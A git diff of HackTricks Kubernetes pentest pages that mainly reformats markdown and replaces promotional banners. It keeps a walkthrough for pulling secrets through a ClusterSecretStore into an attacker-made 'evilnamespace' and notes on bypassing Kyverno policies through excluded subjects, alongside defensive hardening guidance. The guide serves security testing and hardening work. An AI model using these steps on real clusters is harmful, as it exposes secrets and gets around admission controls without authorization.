+{{#ref}}
+https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md b/src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
similarity index 83%
rename from pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
index 446545efb..321b2d32d 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
@@ -32,8 +32,6 @@ kubectl get externalsecret -A | grep mystore
 
 _This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
 
-
-
 You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
 
 ```sh
@@ -63,9 +61,9 @@ spec:
 
 So far we got:
 
-* Name a ClusterSecretStore
-* Name of an ExternalSecret
-* Name of  the secret
+- Name a ClusterSecretStore
+- Name of an ExternalSecret
+- Name of the secret
 
 Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
 
@@ -76,11 +74,11 @@ metadata:
   namespace: evilnamespace
 spec:
   data:
-  - remoteRef:
-      conversionStrategy: Default
-      decodingStrategy: None
-      key: SECRET_KEY
-    secretKey: SOME_PASSWORD
+    - remoteRef:
+        conversionStrategy: Default
+        decodingStrategy: None
+        key: SECRET_KEY
+      secretKey: SOME_PASSWORD
   refreshInterval: 30s
   secretStoreRef:
     kind: ClusterSecretStore
@@ -92,15 +90,15 @@ spec:
 ```
 
 ```yaml
- kind: Namespace
- metadata:
-   annotations:
-     required_annotation: value
-     other_required_annotation: other_value
-   labels:
-     required_label: somevalue
-     other_required_label: someothervalue
-   name: evilnamespace
+kind: Namespace
+metadata:
+  annotations:
+    required_annotation: value
+    other_required_annotation: other_value
+  labels:
+    required_label: somevalue
+    other_required_label: someothervalue
+  name: evilnamespace
 ```
 
 After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
@@ -109,10 +107,12 @@ After a few mins, if sync conditions were met, you should be able to view the le
 kubectl get secret leaked_secret -o yaml
 ```
 
-
-
 ## References
 
-{% embed url="https://external-secrets.io/latest/" %}
+{{#ref}}
+https://external-secrets.io/latest/
+{{#endref}}
 
-{% embed url="https://github.com/external-secrets/external-secrets" %}
+{{#ref}}
+https://github.com/external-secrets/external-secrets
+{{#endref}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
similarity index 66%
rename from pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
index 87d58ffac..52528aaee 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
@@ -1,19 +1,6 @@
 # Kubernetes Hardening
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Tools to analyse a cluster
 
@@ -30,10 +17,10 @@ kubescape scan --verbose
 The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
 You can choose to:
 
-* run kube-bench from inside a container (sharing PID namespace with the host)
-* run a container that installs kube-bench on the host, and then run kube-bench directly on the host
-* install the latest binaries from the [Releases page](https://github.com/aquasecurity/kube-bench/releases),
-* compile it from source.
+- run kube-bench from inside a container (sharing PID namespace with the host)
+- run a container that installs kube-bench on the host, and then run kube-bench directly on the host
+- install the latest binaries from the [Releases page](https://github.com/aquasecurity/kube-bench/releases),
+- compile it from source.
 
 ### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
 
@@ -67,15 +54,15 @@ kube-hunter --remote some.node.com
 
 [**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) is a tool built to test other type of high risk checks compared with the other tools. It mainly have 3 different modes:
 
-* **`find-role-relationships`**: Which will find which AWS roles are running in which pods
-* **`find-secrets`**: Which tries to identify secrets in K8s resources such as Pods, ConfigMaps, and Secrets.
-* **`test-imds-access`**: Which will try to run pods and try to access the metadata v1 and v2. WARNING: This will run a pod in the cluster, be very careful because maybe you don't want to do this!
+- **`find-role-relationships`**: Which will find which AWS roles are running in which pods
+- **`find-secrets`**: Which tries to identify secrets in K8s resources such as Pods, ConfigMaps, and Secrets.
+- **`test-imds-access`**: Which will try to run pods and try to access the metadata v1 and v2. WARNING: This will run a pod in the cluster, be very careful because maybe you don't want to do this!
 
 ## **Audit IaC Code**
 
 ### [**Popeye**](https://github.com/derailed/popeye)
 
-[**Popeye**](https://github.com/derailed/popeye) is a utility that scans live Kubernetes cluster and **reports potential issues with deployed resources and configurations**. It sanitizes your cluster based on what's deployed and not what's sitting on disk. By scanning your cluster, it detects misconfigurations and helps you to ensure that best practices are in place, thus preventing future headaches. It aims at reducing the cognitive \_over\_load one faces when operating a Kubernetes cluster in the wild. Furthermore, if your cluster employs a metric-server, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity.
+[**Popeye**](https://github.com/derailed/popeye) is a utility that scans live Kubernetes cluster and **reports potential issues with deployed resources and configurations**. It sanitizes your cluster based on what's deployed and not what's sitting on disk. By scanning your cluster, it detects misconfigurations and helps you to ensure that best practices are in place, thus preventing future headaches. It aims at reducing the cognitive \_over_load one faces when operating a Kubernetes cluster in the wild. Furthermore, if your cluster employs a metric-server, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity.
 
 ### [**KICS**](https://github.com/Checkmarx/kics)
 
@@ -106,9 +93,9 @@ To install:
 
 You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read:
 
-{% content-ref url="kubernetes-securitycontext-s.md" %}
-[kubernetes-securitycontext-s.md](kubernetes-securitycontext-s.md)
-{% endcontent-ref %}
+{{#ref}}
+kubernetes-securitycontext-s.md
+{{#endref}}
 
 ### Kubernetes API Hardening
 
@@ -120,17 +107,17 @@ User or K8s ServiceAccount –> Authentication –> Authorization –> Admission
 
 **Tips**:
 
-* Close ports.
-* Avoid Anonymous access.
-* NodeRestriction; No access from specific nodes to the API.
-  * [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
-  * Basically prevents kubelets from adding/removing/updating labels with a node-restriction.kubernetes.io/ prefix. This label prefix is reserved for administrators to label their Node objects for workload isolation purposes, and kubelets will not be allowed to modify labels with that prefix.
-  * And also, allows kubelets to add/remove/update these labels and label prefixes.
-* Ensure with labels the secure workload isolation.
-* Avoid specific pods from API access.
-* Avoid ApiServer exposure to the internet.
-* Avoid unauthorized access RBAC.
-* ApiServer port with firewall and IP whitelisting.
+- Close ports.
+- Avoid Anonymous access.
+- NodeRestriction; No access from specific nodes to the API.
+  - [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
+  - Basically prevents kubelets from adding/removing/updating labels with a node-restriction.kubernetes.io/ prefix. This label prefix is reserved for administrators to label their Node objects for workload isolation purposes, and kubelets will not be allowed to modify labels with that prefix.
+  - And also, allows kubelets to add/remove/update these labels and label prefixes.
+- Ensure with labels the secure workload isolation.
+- Avoid specific pods from API access.
+- Avoid ApiServer exposure to the internet.
+- Avoid unauthorized access RBAC.
+- ApiServer port with firewall and IP whitelisting.
 
 ### SecurityContext Hardening
 
@@ -162,39 +149,26 @@ spec:
       allowPrivilegeEscalation: true
 ```
 
-* [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
-* [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
+- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
+- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
 
 ### General Hardening
 
 You should update your Kubernetes environment as frequently as necessary to have:
 
-* Dependencies up to date.
-* Bug and security patches.
+- Dependencies up to date.
+- Bug and security patches.
 
 [**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Each 3 months there is a new minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
 
 **The best way to update a Kubernetes Cluster is (from** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
 
-* Upgrade the Master Node components following this sequence:
-  * etcd (all instances).
-  * kube-apiserver (all control plane hosts).
-  * kube-controller-manager.
-  * kube-scheduler.
-  * cloud controller manager, if you use one.
-* Upgrade the Worker Node components such as kube-proxy, kubelet.
+- Upgrade the Master Node components following this sequence:
+  - etcd (all instances).
+  - kube-apiserver (all control plane hosts).
+  - kube-controller-manager.
+  - kube-scheduler.
+  - cloud controller manager, if you use one.
+- Upgrade the Worker Node components such as kube-proxy, kubelet.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md
similarity index 83%
rename from pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md
index 12734b41b..f9083020d 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md
@@ -1,19 +1,6 @@
 # Kubernetes SecurityContext(s)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## PodSecurityContext <a href="#podsecuritycontext-v1-core" id="podsecuritycontext-v1-core"></a>
 
@@ -21,10 +8,10 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
 
 When specifying the security context of a Pod you can use several attributes. From a defensive security point of view you should consider:
 
-* To have **runASNonRoot** as **True**
-* To configure **runAsUser**
-* If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
-* Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups**
+- To have **runASNonRoot** as **True**
+- To configure **runAsUser**
+- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
+- Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups**
 
 | <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p>                                                                                                                                                                                                                                                 | <p>A special supplemental group that applies to <strong>all containers in a pod</strong>. Some volume types allow the Kubelet to <strong>change the ownership of that volume</strong> to be owned by the pod:<br>1. The owning GID will be the FSGroup<br>2. The setgid bit is set (new files created in the volume will be owned by FSGroup)<br>3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume</p> |
 | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -44,45 +31,32 @@ When specifying the security context of a Pod you can use several attributes. Fr
 
 This context is set inside the **containers definitions**. From a defensive security point of view you should consider:
 
-* **allowPrivilegeEscalation** to **False**
-* Do not add sensitive **capabilities** (and remove the ones you don't need)
-* **privileged** to **False**
-* If possible, set **readOnlyFilesystem** as **True**
-* Set **runAsNonRoot** to **True** and set a **runAsUser**
-* If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
-* Do **NOT** give **privilege** **group** access via **runAsGroup.**
+- **allowPrivilegeEscalation** to **False**
+- Do not add sensitive **capabilities** (and remove the ones you don't need)
+- **privileged** to **False**
+- If possible, set **readOnlyFilesystem** as **True**
+- Set **runAsNonRoot** to **True** and set a **runAsUser**
+- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
+- Do **NOT** give **privilege** **group** access via **runAsGroup.**
 
 Note that the attributes set in **both SecurityContext and PodSecurityContext**, the value specified in **SecurityContext** takes **precedence**.
 
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p>                                                                                                                                                                      | **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no\_new\_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP\_SYS\_ADMIN** |
-| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p>  | The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities.                                                                                                                                                                                                                    |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p>                                                                                                                                                                                    | Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false.                                                                                                                                                                               |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p>                                                                                                                                                                                      | procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths.                                                                                                                                    |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p>                                                                                                                                                                        | Whether this **container has a read-only root filesystem**. Default is false.                                                                                                                                                                                                                                             |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p>                                                                                                                                                                                    | The **GID to run the entrypoint** of the container process. Uses runtime default if unset.                                                                                                                                                                                                                                |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p>                                                                                                                                                                                  | Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does.                                                                                                          |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p>                                                                                                                                                                                     | The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified.                                                                                                                                                                                                  |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container.                                                                                                                                                                  |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p>                                                               | The **seccomp options** to use by this container.                                                                                                                                                                                                                                                                         |
-| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p>                                 | The **Windows specific settings** applied to all containers.                                                                                                                                                                                                                                                              |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p>                                                                                                                                                                      | **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no_new_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP_SYS_ADMIN** |
+| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p>  | The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities.                                                                                                                                                                                                                |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p>                                                                                                                                                                                    | Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false.                                                                                                                                                                           |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p>                                                                                                                                                                                      | procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths.                                                                                                                                |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p>                                                                                                                                                                        | Whether this **container has a read-only root filesystem**. Default is false.                                                                                                                                                                                                                                         |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p>                                                                                                                                                                                    | The **GID to run the entrypoint** of the container process. Uses runtime default if unset.                                                                                                                                                                                                                            |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p>                                                                                                                                                                                  | Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does.                                                                                                      |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p>                                                                                                                                                                                     | The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified.                                                                                                                                                                                              |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container.                                                                                                                                                              |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p>                                                               | The **seccomp options** to use by this container.                                                                                                                                                                                                                                                                     |
+| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p>                                 | The **Windows specific settings** applied to all containers.                                                                                                                                                                                                                                                          |
 
 ## References
 
-* [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
-* [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
+- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
+- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md
similarity index 100%
rename from pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md
diff --git a/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md b/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
similarity index 78%
rename from pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
rename to src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
index ef10afd6d..635343b6c 100644
--- a/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
+++ b/src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
@@ -17,11 +17,11 @@ $ kubectl get policies
 
 For each ClusterPolicy and Policy, you can specify a list of excluded entities, including:
 
-* Groups: `excludedGroups`
-* Users: `excludedUsers`
-* Service Accounts (SA): `excludedServiceAccounts`
-* Roles: `excludedRoles`
-* Cluster Roles: `excludedClusterRoles`
+- Groups: `excludedGroups`
+- Users: `excludedUsers`
+- Service Accounts (SA): `excludedServiceAccounts`
+- Roles: `excludedRoles`
+- Cluster Roles: `excludedClusterRoles`
 
 These excluded entities will be exempt from the policy requirements, and Kyverno will not enforce the policy for them.
 
@@ -37,17 +37,16 @@ Look for the excluded entities :&#x20;
 
 ```yaml
 exclude:
-      any:
-      - clusterRoles:
+  any:
+    - clusterRoles:
         - cluster-admin
-      - subjects:
+    - subjects:
         - kind: User
           name: system:serviceaccount:DUMMYNAMESPACE:admin
         - kind: User
           name: system:serviceaccount:TEST:thisisatest
         - kind: User
           name: system:serviceaccount:AHAH:*
-          
 ```
 
 Within a cluster, numerous added components, operators, and applications may necessitate exclusion from a cluster policy. However, this can be exploited by targeting privileged entities. In some cases, it may appear that a namespace does not exist or that you lack permission to impersonate a user, which can be a sign of misconfiguration.
@@ -56,7 +55,6 @@ Within a cluster, numerous added components, operators, and applications may nec
 
 Another way to bypass policies is to focus on the ValidatingWebhookConfiguration resource :&#x20;
 
-{% content-ref url="../kubernetes-validatingwebhookconfiguration.md" %}
-[kubernetes-validatingwebhookconfiguration.md](../kubernetes-validatingwebhookconfiguration.md)
-{% endcontent-ref %}
-
+{{#ref}}
+../kubernetes-validatingwebhookconfiguration.md
+{{#endref}}
